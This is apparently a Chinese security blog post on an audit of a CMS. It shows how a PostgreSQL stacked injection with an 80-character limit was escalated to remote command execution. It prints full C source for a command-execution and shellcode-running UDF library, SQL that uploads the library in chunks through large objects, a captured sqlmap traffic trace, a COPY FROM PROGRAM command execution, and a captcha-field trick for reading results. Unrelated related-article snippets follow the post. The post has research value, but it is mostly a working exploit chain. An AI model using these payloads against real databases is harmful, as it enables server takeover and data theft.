记一次Postgresql从堆叠注入到RCE

news/2024/7/9 23:08:10 标签: postgresql, 数据库

本次研究过程来自一次某cms的代码审计实战,整个环境部署的相对较好,postgresql、web权限都有单独的用户管理,web目录不可写、服务器不能出网等限制。不过比较幸运的是所有的数据操作都是用同一个superuser权限的postgresql用户来执行的。

限制

审计发现某处存在postgresql堆叠注入,发现postgresql版本为9.2,不过有80个字符的长度限制。尝试使用sqlmap直接打失败,也是长度限制的原因。

udfhack

找了一下参考资料发现JF写的还不错:

https://jianfensec.com/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/%E6%B8%97%E9%80%8F%E4%B8%AD%E5%88%A9%E7%94%A8postgresql%20getshell/

postgresql从8.3开始支持多种编程语言扩展:PostgreSQL: Documentation: 8.3: Procedural Languages

select * from pg_language;

可查看当前支持的语言,如果是python之类的可以很轻松的用udf提权,参考:Hacking PostgreSQL | WooYun知识库

比如postgresql支持plpython,则创建一个恶意函数:

#!sql
CREATE FUNCTION system (a text)
  RETURNS text
AS $$
  import os
  return os.popen(a).read()
$$ LANGUAGE plpython2u;

然后select system('ls -la');即可。

当然了一般来说postgresql默认只支持C,所以要自己传一个编译好的so库去创建可执行命令函数。

源码可以用:https://github.com/sqlmapproject/udfhack/blob/master/linux/lib_postgresqludf_sys/lib_postgresqludf_sys.c

默认是定义了一个sys_eval的函数去命令执行。为了减少长度,我这里改成s.

#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
#define _USE_32BIT_TIME_T
#define DLLEXP __declspec(dllexport) 
#define BUILDING_DLL 1
#else
#define DLLEXP
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#endif

#include <postgres.h>
#include <fmgr.h>
#include <stdlib.h>
#include <string.h>

#include <ctype.h>

#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
DWORD WINAPI exec_payload(LPVOID lpParameter);
#endif

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

char *text_ptr_to_char_ptr(text *arg)
{
    char *retVal;
    int arg_size = VARSIZE(arg) - VARHDRSZ;
    retVal = (char *)malloc(arg_size + 1);

    memcpy(retVal, VARDATA(arg), arg_size);
    retVal[arg_size] = '\0';
    
    return retVal;
}

text *chr_ptr_to_text_ptr(char *arg)
{
    text *retVal;
    
    retVal = (text *)malloc(VARHDRSZ + strlen(arg));
#ifdef SET_VARSIZE
    SET_VARSIZE(retVal, VARHDRSZ + strlen(arg));
#else
    VARATT_SIZEP(retVal) = strlen(arg) + VARHDRSZ;
#endif
    memcpy(VARDATA(retVal), arg, strlen(arg));
    
    return retVal;
}

PG_FUNCTION_INFO_V1(sys_exec);
#ifdef PGDLLIMPORT
extern PGDLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
#else
extern DLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
#endif
    text *argv0 = PG_GETARG_TEXT_P(0);
    int32 result = 0;
    char *command;

    command = text_ptr_to_char_ptr(argv0);

    /*
    Only if you want to log
    elog(NOTICE, "Command execution: %s", command);
    */

    result = system(command);
    free(command);

    PG_FREE_IF_COPY(argv0, 0);
    PG_RETURN_INT32(result);
}

PG_FUNCTION_INFO_V1(s);
#ifdef PGDLLIMPORT
extern PGDLLIMPORT Datum s(PG_FUNCTION_ARGS) {
#else
extern DLLIMPORT Datum s(PG_FUNCTION_ARGS) {
#endif
    text *argv0 = PG_GETARG_TEXT_P(0);
    text *result_text;
    char *command;
    char *result;
    FILE *pipe;
    char *line;
    int32 outlen, linelen;

    command = text_ptr_to_char_ptr(argv0);

    /*
    Only if you want to log
    elog(NOTICE, "Command evaluated: %s", command);
    */

    line = (char *)malloc(1024);
    result = (char *)malloc(1);
    outlen = 0;

    result[0] = (char)0;

    pipe = popen(command, "r");

    while (fgets(line, sizeof(line), pipe) != NULL) {
        linelen = strlen(line);
        result = (char *)realloc(result, outlen + linelen);
        strncpy(result + outlen, line, linelen);
        outlen = outlen + linelen;
    }

    pclose(pipe);

    if (*result) {
        result[outlen-1] = 0x00;
    }

    result_text = chr_ptr_to_text_ptr(result);

    PG_RETURN_POINTER(result_text);
}

PG_FUNCTION_INFO_V1(sys_bineval);
#ifdef PGDLLIMPORT
extern PGDLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
#else
extern DLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
#endif
    text *argv0 = PG_GETARG_TEXT_P(0);
    int32 argv0_size;
    size_t len;

#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
    int pID;
    char *code;
#else
    int *addr;
    size_t page_size;
    pid_t pID;
#endif

    argv0_size = VARSIZE(argv0) - VARHDRSZ;
    len = (size_t)argv0_size;

#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
    // allocate a +rwx memory page
    code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    strncpy(code, VARDATA(argv0), len);

    WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
#else
    pID = fork();
    if(pID<0)
        PG_RETURN_INT32(1);

    if(pID==0)
    {
        page_size = (size_t)sysconf(_SC_PAGESIZE)-1;    // get page size
        page_size = (len+page_size) & ~(page_size);     // align to page boundary

        // mmap an rwx memory page
        addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);

        if (addr == MAP_FAILED)
            PG_RETURN_INT32(1);

        strncpy((char *)addr, VARDATA(argv0), len);

        ((void (*)(void))addr)();
    }

    if(pID>0)
        waitpid(pID, 0, WNOHANG);
#endif

    PG_RETURN_INT32(0);
}

#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
DWORD WINAPI exec_payload(LPVOID lpParameter)
{
    __try
    {
        __asm
        {
            mov eax, [lpParameter]
            call eax
        }
    }
    __except(EXCEPTION_EXECUTE_HANDLER)
    {

    }

    return 0;
}
#endif

#undef fopen

PG_FUNCTION_INFO_V1(sys_fileread);
#ifdef PGDLLIMPORT
extern PGDLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) {
#else
extern DLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) {
#endif
    text *argv0 = PG_GETARG_TEXT_P(0);
    text *result_text;
    int32 len;
    int32 i, j;
    char *filename;
    char *result;
    char *buffer;
    char table[] = "0123456789ABCDEF";
    FILE *file;

    filename = text_ptr_to_char_ptr(argv0);
    
    file = fopen(filename, "rb");
    if (!file)
    {
        PG_RETURN_NULL();
    }
    fseek(file, 0, SEEK_END);
    len = ftell(file);
    fseek(file, 0, SEEK_SET);

    buffer=(char *)malloc(len + 1);
    if (!buffer)
    {
        fclose(file);
        PG_RETURN_NULL();
    }

    fread(buffer, len, 1, file);
    fclose(file);

    result = (char *)malloc(2*len + 1);
    for (i=0, j=0; i<len; i++)
    {
        result[j++] = table[(buffer[i] >> 4) & 0x0f];
        result[j++] = table[ buffer[i]     & 0x0f];
    }
    result[j] = '\0';
    
    result_text = chr_ptr_to_text_ptr(result);
    
    free(result);
    free(buffer);
    free(filename);

    PG_RETURN_POINTER(result_text);
}

然后用本地搭建的环境编译一下:

gcc -Wall -I/usr/include/postgresql/9.2/server -Os -shared s.c -fPIC -o s

bypass

问题又回到了如何bypass80字符长度限制了,先来看看如果没长度限制是怎么弄的:

这里写入是用了大数据对象写入二进制文件,将udf.so文件分割成每2048字节的块(且必须是2048),最后一个块的大小不满足2048字节不需要考虑.

为什么不能小于2048?是因为在postgresql高版本处理中,如果块之间小于2048,默认会用0去填充让块达到2048字节所以上传的文件才会一直创建函数失败.

SELECT lo_create(9023);尝试创建OID为9023的大对象

insert into pg_largeobject values (9023, 0, decode('xxx', 'hex'));//2048字节
insert into pg_largeobject values (9023, 1, decode('xxx', 'hex'));/2048字节
insert into pg_largeobject values (9023, 2, decode('xxx', 'hex'));/2048字节
insert into pg_largeobject values (9023, 5, decode('xxx', 'hex'));/可以不满2048字节,因为不满的会补0,elf文件末尾补0不影响正常运行

SELECT lo_export(9023, '/tmp/testeval.so');//将对象导出文件
SELECT lo_unlink(9023);//删除对象

首先创建一个OID作为写入的对象,然后通过0,1,2,3…分片上传但是对象都为9023最后导出到/tmp目录下,收尾删除OID。

然后导入自定义的恶意函数执行命令:

CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/testeval.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;

select sys_eval('id');

drop function sys_eval;

一步一步来,首先是二进制文件写入时,除去最后一个块的长度可以稍微小点其他的都需要想办法压缩,这里我想到的是可以先存在表里面,然后在写入的时候在select取出来,这样的话长度是完全够的。

比如:

SELECT lo_create(9);//创建对象

CREATE TABLE a(i serial PRIMARY KEY,c text);
CREATE TABLE b(i int primary key,c text[]);
//先建立两个临时表

INSERT INTO a(i,c) VALUES ({cnt},'{data}');
//每次往临时表a里写入16个的长度二进制字符串


INSERT INTO b VALUES (1,(SELECT array_to_string(array_agg(c order by i) from a),''));
//将字符串聚合起来写入临时表b中

INSERT INTO pg_largeobject VALUES (9,{chunk_cnt},decode((SELECT c FROM b),'hex'))
//按次序hex解码写入对象。

//每2048字节写入一次对象,然后重新开始。

SELECT lo_export(9, '/tmp/s');//写入文件到/tmp目录

SELECT lo_unlink(9);//删除对象

然后是创建函数这:

>>> len("CREATE OR REPLACE FUNCTION s(text) RETURNS text AS '/tmp/s', 's' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;")
137

翻了一下文档,其实很多多余的可以直接去掉,直接压缩成:

>>> len("CREATE FUNCTION s(text) RETURNS text AS '/tmp/s','s' LANGUAGE C")
63

然后创建language c这种扩展函数必须得superuser权限才能创建。

成功命令执行。

SELECT s('touch /tmp/yuligesec');

sqlmap的思路

上面有说到过通过研究发现sqlmap是不能直接跑的,但是他的思路却是没啥问题可以直接用,大致和我的想法类似。来看看他的流量:

CREATE TABLE sqlmapfile(data text);
SELECT lo_unlink(8394);
SELECT lo_create(8394);
DELETE FROM pg_largeobject WHERE loid=8394--
INSERT INTO sqlmapfile(data) VALUES ((CHR(102)||CHR(48)||CHR(86)||CHR(77)||CHR(82)||CHR(103)||CHR(73)||CHR(66)||CHR(65)||CHR(81)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(77)||CHR(65)||CHR(80)||CHR(103)||CHR(65)||CHR(66)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(48)||CHR(65)||CHR(48)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(66)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(69)||CHR(65)||CHR(65)||CHR(79)||CHR(65)||CHR(65)||CHR(71)||CHR(65)||CHR(69)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(69)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(70)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(74)||CHR(66)||CHR(85)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(107)||CHR(70)||CHR(81)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(73)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(81)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(89)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(111)||CHR(70)||CHR(81)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(67)||CHR(103)||CHR(86)||CHR(73)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(75)||CHR(66)||CHR(85)||CHR(103)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(68)||CHR(103)||CHR(65)||CHR(103)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(79)||CHR(103)||CHR(67)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(103)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(67)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(66)||CHR(103)||CHR(65)||CHR(65)||CHR(65)||CHR(69)||CHR(65)||CHR(86)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)));

UPDATE sqlmapfile SET data=data||(CHR(81)||CHR(66)||CHR(85)||CHR(103)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(66)||CHR(65)||CHR(70)||CHR(83)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(78)||CHR(65)||CHR(66)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(48)||CHR(65)||CHR(69)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(73)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(81)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(69)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(103)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(85)||CHR(79)||CHR(86)||CHR(48)||CHR(90)||CHR(65)||CHR(81)||CHR(65)||CHR(65)||CHR(65)||CHR(67)||CHR(115)||CHR(69)||CHR(103)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(75)||CHR(119)||CHR(83)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(114)||CHR(66)||CHR(73)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(66)||CHR(115)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(71)||CHR(119)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(66)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(66)||CHR(82)||CHR(53)||CHR(88)||CHR(82)||CHR(107)||CHR(66)||CHR(103)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65));
...
INSERT INTO pg_largeobject VALUES (8394, 2, DECODE((SELECT data FROM sqlmapfile), (CHR(98)||CHR(97)||CHR(115)||CHR(101)||CHR(54)||CHR(52))));
...
SELECT lo_export(8394, (CHR(47)||CHR(116)||CHR(109)||CHR(112)||CHR(47)||CHR(108)||CHR(105)||CHR(98)||CHR(115)||CHR(109)||CHR(112)||CHR(121)||CHR(106)||CHR(46)||CHR(115)||CHR(111)));;

很明显看出来是使用了||来做一个字符串加的作用,然后也是用的base64编码传入再解码,然后写入的地址是/tmp/libsmpyj.so,lib+5随机字符.so的形式。

按照这个思路其实bypass没啥问题,只不过需要调整一下每次payload的字符长度,再加上又使用的base64,大大增加了写入文件的请求次数。

rwctf2021-DBaaSadge

比赛的时候刚好在做项目,没空看题,当时看到这个题就感觉和上述做的东西很像,后来看了一下dockerfile发现其实不一样,而且除了最后一步执行命令处,前期基本上毫无非预期,都是需要先爆破密码提升到superuser,然后再命令执行。

参考:https://f1sh.site/2021/01/11/real-world-ctf-2020-dbaasadge-writeup/

这个题是使用了mysql_fdw这个插件然后可以外连mysql,再从外部的mysql导入需要执行的语句从而bypass掉payload长度。

然后又翻到:https://medium.com/bugbountywriteup/dbaasadge-writeup-61ebcdbe4357

PostgreSQL: Documentation: 10: COPY

如果postgresql版本在9.3以上的话可以直接用copy program去执行命令,也就是CVE-2019-9193:

漏洞环境:

​​​​​​https://github.com/vulhub/vulhub/tree/master/postgres/CVE-2019-9193

postgres=# CREATE TABLE cmd_table (dm_output text);
CREATE TABLE
postgres=# COPY cmd_table FROM PROGRAM 'id';
COPY 1
postgres=# SELECT * FROM cmd_table;
dm_output
------------------------------------------------------------------------
uid=101(postgres) gid=103(postgres) groups=103(postgres),102(ssl-cert)
(1 row)

开头有说过web目录不可写且不出网(静态文件也不可写),命令执行也没回显,后来解决是代码审计发现某个地方的验证码是从数据库某特定字段里面取的,所以只需要将命令执行的结果写入到特定字段到地方,再构造poc访问验证码页面拿到命令执行的结果图片ocr一下即可exp化。


http://www.niftyadmin.cn/n/5109491.html

相关文章

Tuxera2023最新版本新功能特性

当您获得一台新 Mac 时&#xff0c;它只能读取 Windows NTFS 格式的 USB 驱动器。要将文件添加、保存或写入您的 Mac&#xff0c;您需要一个附加的 NTFS 驱动程序。Tuxera 的 Microsoft NTFS for Mac 是一款易于使用的软件&#xff0c;可以在 Mac 上打开、编辑、复制、移动或删…

腾讯地图基本使用(撒点位,点位点击,弹框等...功能) 搭配Vue3

腾讯地图的基础注册账号 展示地图等基础功能在专栏的上一篇内容 大家有兴趣可以去看一看 今天说的是腾讯地图的在稍微一点的基础操作 话不多说 直接上代码 var marker ref(null) var map var center ref(null) // 地图初始化 const initMap () > {//定义地图中心点坐标…

『C语言进阶』字符函数和内存函数(1)

&#x1f525;博客主页&#xff1a; 小羊失眠啦. &#x1f516;系列专栏&#xff1a; C语言、Linux、Cpolar ❤️感谢大家点赞&#x1f44d;收藏⭐评论✍️ 前言 C语言中对字符和字符串的处理很是频繁&#xff0c;但是C语言本身是没有字符串类型的&#xff0c;字符串通常放在常…

2023年9月青少年软件编程(C 语言) 等级考试试卷(四级)

2023年9月青少年软件编程&#xff08;C 语言&#xff09; 等级考试试卷&#xff08;四级&#xff09; 第 1 题 问答题 酒鬼 Santo刚刚与房东打赌赢得了一间在New Clondike 的大客厅。今天&#xff0c;他来到这个大客厅欣赏他的奖品。房东摆出了一行瓶子在酒吧上。瓶子里都…

父亲的北京车牌继承到儿子名下需要哪些手续?

父亲的北京车牌继承到儿子名下需要哪些手续&#xff1f; 车牌本身实质上是行政许可&#xff0c;并不是财产。但是车主去世后&#xff0c;继承人可依法申请转移登记&#xff0c;无需取得购车指标即可办理过户手续&#xff0c;继续使用车辆。由于北京的车牌可以说一牌难求&#…

【mmdetection】ROIExtractor中的featmap_strides和finest_scale

featmap_strides错了导致没有性能 在用FasterRCNN跑自己的数据集的时候&#xff0c;发现几乎没有性能&#xff08;0.8%&#xff09;&#xff0c;后来找到原因发现是&#xff1a; FasterRCNN中&#xff0c;第二个stage的SingleROIExtractor的featmap_strides写成了[8, 16, 32, …

Go语言入门心法(十二): GORM映射框架

Go语言入门心法(一): 基础语法 Go语言入门心法(二): 结构体 Go语言入门心法(三): 接口 Go语言入门心法(四): 异常体系 Go语言入门心法(五): 函数 Go语言入门心法(六): HTTP面向客户端|服务端编程 Go语言入门心法(七): 并发与通道 Go语言入门心法(八): mysql驱动安装报错o…

【51单片机外部中断控制流水灯转向】2023-10-21

缘由单片机不会搞 原理都清晰合一块成傻杯了 各位爷 用keil Vison5 还有Proteus8仿真图给出一下吧_嵌入式-CSDN问答 #include <reg52.h> unsigned char Js0; bit k0; void main() {//缘由unsigned char ls0; EA1;//总中断允许EX01;//允许外部中断0中断TH0(65536-50000)…